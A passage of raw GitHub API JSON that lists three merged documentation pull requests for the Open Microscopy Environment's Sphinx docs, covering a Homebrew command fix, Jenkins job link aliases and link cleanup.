owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"4c2b874e9e20667d610b71454551e0807013f2b4","ref":"homebrew_install_cmd"},"assignee":null,"updated_at":"2013-02-01T11:04:37Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/234/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/234/commits","closed_at":"2013-02-01T11:04:37Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/234","merged_at":"2013-02-01T11:04:37Z","merge_commit_sha":"3e6f47a1eb8615aa62fcfc9766802508c44d094b","created_at":"2013-01-31T09:30:56Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/234/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/234.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/234","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"Main goal of this PR is to fix the wrong Homebrew installation command (thanks @stick for noticing it) - see commit 4c2b874.\r\n\r\nAdded a number of commits fixing redirected links (see [linkcheck output](http://hudson.openmicroscopy.org.uk/job/OMERO-docs-merge-stable/ws/_build/linkcheck/output.txt) ). Linkcheck should still pass, hyperlinks should be unchanged and the size of output.txt reduced.","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/234.diff","id":3923290,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"982b9089c180f4c27c461d7258a8f40036d0721e","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/233/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/233"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/233"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/233"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/233/comments"}},"title":"Virtualjob extlink (rebased onto develop)","state":"closed","number":233,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/233","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:rebased/develop/virtualjob_extlink","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"1963ddb2b0e4650ec5859d40103e052e1471b2e1","ref":"rebased/develop/virtualjob_extlink"},"assignee":null,"updated_at":"2013-01-28T20:36:45Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/233/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/233/commits","closed_at":"2013-01-28T20:36:44Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/233","merged_at":"2013-01-28T20:36:44Z","merge_commit_sha":"eb33f32f962ebb8ea76d0b77d90543b8bdf31d84","created_at":"2013-01-25T10:44:40Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/233/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/233.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/233","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-229 but rebased onto develop.\n\n----\n\nThis PR should fix the link to the latest succesful `.ova` file in the virtual appliance documentation.\r\n\r\nAt the current HEAD of this branch, I have\r\n```\r\nsbesson:sphinx sebastien$ git grep -E \"\\-trunk\"\r\nREADME.rst:By default, the OMERO job is set to ``OMERO-trunk``. To specify a different \r\nconf.py: jenkins_job = 'OMERO-trunk'\r\ndevelopers/Cpp.txt:- :jenkins:`Windows Server 2003 (32 bit) `\r\ndevelopers/Cpp.txt:- :jenkins:`Linux `\r\ndevelopers/Cpp.txt:- :jenkins:`MacOSX `\r\ndevelopers/continuous-integration.txt: * :term:`OMERO-trunk`\r\ndevelopers/continuous-integration.txt: * :term:`BIOFORMATS-trunk`\r\ndevelopers/continuous-integration.txt: :jenkinsjob:`BIOFORMATS-trunk`\r\ndevelopers/continuous-integration.txt: :jenkinsjob:`OMERO-trunk`\r\ndevelopers/release-process.txt: - See: :jenkins:`job/OMERO-trunk-components`.\r\ndevelopers/release-process.txt:- Rename \"\\*-trunk\" jenkins jobs to \"\\*-\"\r\n```\r\n\r\nAll the `*-trunk` links present in the developers/continuous-integration.txt page are expected. The only leftovers are the `OMERO-trunk-components` links. Once this job is green again and copied on to the stable branch, I will implement the same strategy as the one in this PR and create a `componentsjob` alias.\r\n\r\n/cc @joshmoore, @hflynn\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/233.diff","id":3837341,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"0376ea24dedc227a6ef76da4cb5978c431aadfee","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/232/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/232"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/232"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/232"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/232/comments"}},"title":"Remove extra spaces on build system links.","state":"closed","number":232,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/232","head":{"user":{"type":"User","url":"https://api.github.com/users/mtbc","received_events_url":"https://api.github.com/users/mtbc/received_events","login":"mtbc","events_url":"https://api.github.com/users/mtbc/events{/privacy}","organizations_url":"https://api.github.com/users/mtbc/orgs","avatar_url":"https://secure.gravatar.com/avatar/dd3abf4ce82fd7321089540d5ff28796?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/mtbc/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/mtbc/gists{/gist_id}","gravatar_id":"dd3abf4ce82fd7321089540d5ff28796","followers_url":"https://api.github.com/users/mtbc/followers","id":2630707,"repos_url":"https://api.github.com/users/mtbc/repos","subscriptions_url":"https://api.github.com/users/mtbc/subscriptions","following_url":"https://api.github.com/users/mtbc/following"},"label":"mtbc:small-typos-dev","repo":{"forks":0,"svn_url":"https://github.com/mtbc/ome-documentation","merges_url":"https://api.github.com/repos/mtbc/ome-documentation/merges","languages_url":"https://api.github.com/repos/mtbc/ome-documentation/languages","assignees_url":"https://api.github.com/repos/mtbc/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/mtbc/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/mtbc/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/mtbc/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/mtbc","received_events_url":"https://api.github.com/users/mtbc/received_events","login":"mtbc","events_url":"https://api.github.com/users/mtbc/events{/privacy}","organizations_url":"https://api.github.com/users/mtbc/orgs","avatar_url":"https://secure.gravatar.com/avatar/dd3abf4ce82fd7321089540d5ff28796?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/mtbc/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/mtbc/gists{/gist_id}","gravatar_id":"dd3abf4ce82fd7321089540d5ff28796","followers_url":"https://api.github.com/users/mtbc/followers","id":2630707,"repos_url":"https://api.github.com/users/mtbc/repos","subscriptions_url":"https://api.github.com/users/mtbc/subscriptions","following_url":"https://api.github.com/users/mtbc/following"},"open_issues":0,"updated_at":"2013-01-29T21:32:59Z","milestones_url":"https://api.github.com/repos/mtbc/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/mtbc/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/mtbc/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/mtbc/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/mtbc/ome-documentation/events","notifications_url":"https://api.github.com/repos/mtbc/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/mtbc/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/mtbc/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/mtbc/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/mtbc/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/mtbc/ome-documentation/collaborators{/collaborator}","full_name":"mtbc/ome-documentation","ssh_url":"git@github.com:mtbc/ome-documentation.git","pulls_url":"https://api.github.com/repos/mtbc/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/mtbc/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/mtbc/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/mtbc/ome-documentation/subscription","teams_url":"https://api.github.com/repos/mtbc/ome-documentation/teams","watchers":0,"created_at":"2012-10-23T10:27:15Z","git_url":"git://github.com/mtbc/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/mtbc/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/mtbc/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/mtbc/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/mtbc/ome-documentation/keys{/key_id}","size":268,"compare_url":"https://api.github.com/repos/mtbc/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/mtbc/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/mtbc/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/mtbc/ome-documentation/hooks","fork":true,"html_url":"https://github.com/mtbc/ome-documentation","master_branch":"develop","clone_url":"https://github.com/mtbc/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/mtbc/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/mtbc/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/mtbc/ome-documentation/issues/events{/number}","private":false,"id":6350485,"default_branch":"develop","pushed_at":"2013-01-29T08:26:06Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/mtbc/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/mtbc/ome-documentation/forks"},"sha":"3809650dde2f205226bab426f2a57e3727c4fe87","ref":"small-typos-dev"},"assignee":null,"updated_at":"2013-01-29T21:32:59Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/232/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/232/commits","closed_at":"2013-01-29T21:32:59Z","user":{"type":"User","url":"https://api.github.com/users/mtbc","received_events_url":"https://api.github.com/users/mtbc/received_events","login":"mtbc","events_url":"https://api.github.com/users/mtbc/events{/privacy}","organizations_url":"https://api.github.com/users/mtbc/orgs","avatar_url":"https://secure.gravatar.com/avatar/dd3abf4ce82fd7321089540d5ff28796?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/mtbc/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/mtbc/gists{